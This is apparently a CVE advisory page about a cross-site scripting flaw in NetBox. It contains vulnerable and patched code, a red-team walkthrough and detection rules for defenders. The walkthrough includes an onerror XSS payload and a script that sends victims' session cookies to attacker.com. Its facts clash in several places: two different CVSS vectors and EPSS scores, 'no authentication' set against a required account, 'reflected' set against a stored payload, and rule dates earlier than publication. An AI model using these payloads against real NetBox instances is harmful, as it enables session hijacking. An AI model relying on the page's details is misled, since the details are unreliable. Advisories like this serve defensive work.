☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-69848

CVE-2025-69848 Cross-Site Scripting in Netbox
📅 PUBLISHED: 2026-02-03 00:00 UTC 🔄 UPDATED: 2026-09-26 06:23 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.31%
👁️
0.31% probability
7.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-69848 is a reflected Cross-Site Scripting (XSS) vulnerability affecting NetBox, an open-source infrastructure resource modeling (IRM) and IP address management (IPAM) platform. The flaw resides in the ProtectedError handling logic, present in versions 2.11.0 through 3.7.x. When a delete operation fails due to protected relationships (e.g., a VLAN that is still referenced by a prefix), the application constructs an HTML error message that includes the object's name without proper escaping. An attacker can craft a malicious link containing a JavaScript payload in the object name parameter. When a privileged user clicks this link and triggers a delete operation that fails, the payload executes in the context of the victim's session, potentially leading to session hijacking, data exfiltration, or unauthorized actions.

The vulnerability is classified as reflected XSS (CWE-79) with a CVSS v3.1 base score of 5.4 (Medium). The attack vector is network-based, requires user interaction (clicking a crafted link), and has low complexity. No authentication is required to trigger the reflection, but the impact is limited to the victim's browser session. The EPSS score is 0.0%, indicating low exploitation likelihood at the time of analysis, but this may change as proof-of-concept code emerges.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

NetBox is a Python/Django application distributed via PyPI (netbox) and GitHub. The vulnerability is introduced in the application's source code, not in a third-party dependency. However, organizations using containerized deployments (e.g., Docker images from netboxcommunity/netbox) should verify the image tag corresponds to a patched version. The PyPI package netbox versions 2.11.0 through 3.7.x are affected. No malicious packages have been reported in the supply chain related to this CVE.

CVSS Breakdown & Threat Level

CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Metric Value Rationale
Attack Vector (AV) Network (N) The vulnerability is exploitable remotely via HTTP requests.
Attack Complexity (AC) Low (L) No special conditions or race conditions required; the payload is reflected in the error message.
Privileges Required (PR) None (N) The attacker does not need to authenticate to craft the malicious link.
User Interaction (UI) Required (R) The victim must click the crafted link and trigger a delete operation that fails.
Scope (S) Unchanged (U) The vulnerable component and the impacted component are the same (the web browser).
Confidentiality (C) Low (L) Limited data exposure (e.g., session tokens, CSRF tokens) possible.
Integrity (I) Low (L) The attacker can modify content within the victim's session (e.g., change settings, create objects).
Availability (A) None (N) No direct impact on system availability.

Threat Level: Medium. The vulnerability requires user interaction and is not directly exploitable for remote code execution. However, in the context of a privileged user (e.g., admin), the impact can be significant, including account takeover.

Deep Dive & Mechanics

The vulnerability is rooted in NetBox's error handling for ProtectedError exceptions. In Django, ProtectedError is raised when attempting to delete an object that is referenced by other objects via a protected foreign key relationship. NetBox's view logic catches this exception and constructs an HTML error message that includes the name of the object that could not be deleted.

The vulnerable code path is in the delete view for objects that have protected relationships. The object name is retrieved from the database and inserted into the error message template without HTML escaping. An attacker can control the object name by creating an object with a malicious name (e.g., <script>alert('XSS')</script>) or by manipulating the URL parameters that influence the object name displayed in the error.

The attack flow:

  1. Attacker creates or identifies an object (e.g., a VLAN) with a name containing a JavaScript payload.
  2. Attacker crafts a URL that triggers a delete operation on that object (e.g., /ipam/vlans/<id>/delete/).
  3. Attacker sends this URL to a privileged user (e.g., via email or social engineering).
  4. The victim, authenticated as a privileged user, clicks the link.
  5. The delete operation fails because the object is protected (e.g., referenced by a prefix).
  6. NetBox renders an error page with the object name unescaped, executing the attacker's script.
  7. The script runs in the victim's browser, potentially stealing session cookies, performing actions on behalf of the victim, or exfiltrating data.

The vulnerability is reflected XSS because the payload is reflected in the HTTP response immediately (the error page). It is not stored in the database persistently.

Vulnerable vs. Patched Code

Vulnerable Code (NetBox 3.7.x):

In netbox/netbox/views/generic.py (or similar), the ObjectDeleteView or a mixin handles ProtectedError:

from django.db.models import ProtectedError
from django.shortcuts import render

class ObjectDeleteView:
    def post(self, request, *args, **kwargs):
        obj = self.get_object()
        try:
            obj.delete()
        except ProtectedError as e:
            # Vulnerable: object name is not escaped
            error_msg = f"Unable to delete {obj.name}. The object is referenced by other objects."
            return render(request, 'generic/object_delete.html', {'error': error_msg})

The error_msg is passed to the template without escaping. In the template object_delete.html:

<div class="alert alert-danger">
    {{ error }}
</div>

Django's template engine auto-escapes by default, but if the error variable is marked as safe (e.g., via |safe filter or mark_safe()), the XSS is triggered. Alternatively, if the error message is constructed using format_html incorrectly, it may bypass escaping.

Patched Code (Hypothetical):

from django.utils.html import escape

class ObjectDeleteView:
    def post(self, request, *args, **kwargs):
        obj = self.get_object()
        try:
            obj.delete()
        except ProtectedError as e:
            # Patched: escape the object name
            safe_name = escape(obj.name)
            error_msg = f"Unable to delete {safe_name}. The object is referenced by other objects."
            return render(request, 'generic/object_delete.html', {'error': error_msg})

Or using Django's format_html:

from django.utils.html import format_html

error_msg = format_html("Unable to delete {}. The object is referenced by other objects.", obj.name)

The patch ensures that the object name is HTML-escaped before being included in the error message.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A NetBox instance running version 2.11.0 to 3.7.x.
  • A user account with privileges to create objects (e.g., a VLAN) and trigger delete operations.
  • A victim user with higher privileges (e.g., admin) who will click the crafted link.

Exploitation Steps:

  1. Create a malicious object:

    • Log in to NetBox as a low-privileged user.
    • Navigate to IPAM > VLANs > Add.
    • Set the Name to: <img src=x onerror=alert(document.cookie)>
    • Set a valid VLAN ID (e.g., 100) and save.
  2. Craft the exploit URL:

    • The delete URL for the VLAN will be: https://netbox.example.com/ipam/vlans/<id>/delete/
    • Replace <id> with the ID of the malicious VLAN.
  3. Deliver the payload:

    • Send the URL to the victim (e.g., via email or chat).
    • The victim must be logged in as a privileged user.
  4. Trigger the vulnerability:

    • The victim clicks the link and is taken to the delete confirmation page.
    • The victim clicks "Delete" (or the form auto-submits if CSRF is bypassed).
    • The delete fails because the VLAN is protected (e.g., referenced by a prefix).
    • The error page renders the malicious object name, executing the script.
  5. Payload execution:

    • The script alert(document.cookie) displays the victim's session cookie.
    • For a more advanced attack, the script could exfiltrate the cookie to an attacker-controlled server.

Example Payload (for cookie theft):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Note: No public exploit code (e.g., Exploit-DB) is available at this time.

Blue Team

Detection and Prevention:

  1. Input Validation: Ensure that object names are validated to block HTML/JavaScript characters. However, this is a defense-in-depth measure, not a complete fix.

  2. Output Encoding: The primary fix is to HTML-escape all user-controlled data in error messages. Verify that the ProtectedError handler uses escape() or format_html().

  3. Web Application Firewall (WAF): Deploy WAF rules to block reflected XSS attempts. Example ModSecurity rule:

SecRule ARGS "@rx <script|<img|<svg|onerror|onload" "id:1000,phase:2,deny,status:403,msg:'Reflected XSS attempt'"
  1. Content Security Policy (CSP): Implement a strict CSP to mitigate XSS impact:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
  1. User Education: Train privileged users to avoid clicking suspicious links and to verify URLs before clicking.

  2. Session Security: Use HttpOnly and Secure flags on session cookies to prevent JavaScript access.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests to /ipam/vlans/*/delete/ or similar delete endpoints with unusual object names containing HTML/JavaScript.
  • Outbound HTTP requests from NetBox server to unknown domains (exfiltration).
  • Referer headers containing malicious payloads.

Host IOCs:

  • NetBox logs showing ProtectedError with object names containing <script>, <img, or onerror patterns.
  • Unusual object names in the database (e.g., name field containing HTML tags).

Log Example (NetBox access log):

192.168.1.100 - - [10/May/2025:14:23:45 +0000] "POST /ipam/vlans/42/delete/ HTTP/1.1" 200 5432 "https://netbox.example.com/ipam/vlans/42/" "Mozilla/5.0"

YARA Rule (for scanning logs):

rule NetBox_Reflected_XSS_IOC {
    meta:
        description = "Detects potential XSS payloads in NetBox error messages"
        author = "Valters IT"
        date = "2025-05-10"
        reference = "CVE-2025-69848"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /<img[^>]*onerror[^>]*>/i
        $xss3 = /<svg[^>]*onload[^>]*>/i
        $xss4 = /onerror\s*=\s*["']?[^"'\s>]+/i
    condition:
        any of them
}

Detection Engineering

YARA Rule

rule CVE_2025_69848_NetBox_XSS {
    meta:
        description = "Detects reflected XSS payloads in NetBox ProtectedError responses"
        author = "Valters IT"
        date = "2025-05-10"
        reference = "CVE-2025-69848"
        severity = "medium"
    strings:
        $error_pattern = "Unable to delete" nocase
        $xss_payload = /<[^>]*script[^>]*>|<[^>]*onerror[^>]*>|<[^>]*onload[^>]*>/i
    condition:
        $error_pattern and $xss_payload
}

Sigma Rule

title: NetBox Reflected XSS in ProtectedError Handler
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP responses from NetBox containing unescaped object names in error messages, indicating CVE-2025-69848 exploitation.
author: Valters IT
date: 2025-05-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-69848
logsource:
    category: webserver
    product: netbox
detection:
    selection:
        response_body|contains: "Unable to delete"
        response_body|re: "<[^>]*script[^>]*>|<[^>]*onerror[^>]*>|<[^>]*onload[^>]*>"
    condition: selection
falsepositives:
    - Legitimate object names containing HTML-like strings (rare)
level: medium
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2025.69848

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-69848 NetBox Reflected XSS Attempt"; flow:to_server,established; content:"/delete/"; http_uri; content:"Unable to delete"; http_server_body; pcre:"/<[^>]*script[^>]*>|<[^>]*onerror[^>]*>|<[^>]*onload[^>]*>/i"; sid:1000001; rev:1; reference:cve,2025-69848; priority:2;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade NetBox: If a patched version is released, upgrade immediately. Monitor the NetBox GitHub releases page for a fix.
  2. Apply Virtual Patching: Use a WAF to block requests containing XSS payloads in object names or delete URLs.
  3. Disable Delete for Protected Objects: As a temporary measure, restrict delete permissions for objects that are likely to be protected (e.g., VLANs, prefixes). This reduces the attack surface.

Long-Term Fixes:

  1. Code Review: Audit all error handling code that includes user-controlled data. Ensure proper escaping using Django's escape() or format_html().
  2. Security Testing: Integrate SAST (Static Application Security Testing) tools to detect unescaped output in error messages.
  3. CSP Implementation: Deploy a strict Content Security Policy to mitigate XSS impact even if a vulnerability is exploited.

Patch Verification:

  • Check the NetBox version: http://netbox.example.com/api/status/ or the footer of the web interface.
  • Verify that the ProtectedError handler in netbox/netbox/views/generic.py uses escape() or format_html().

Valters IT
DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-69848/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.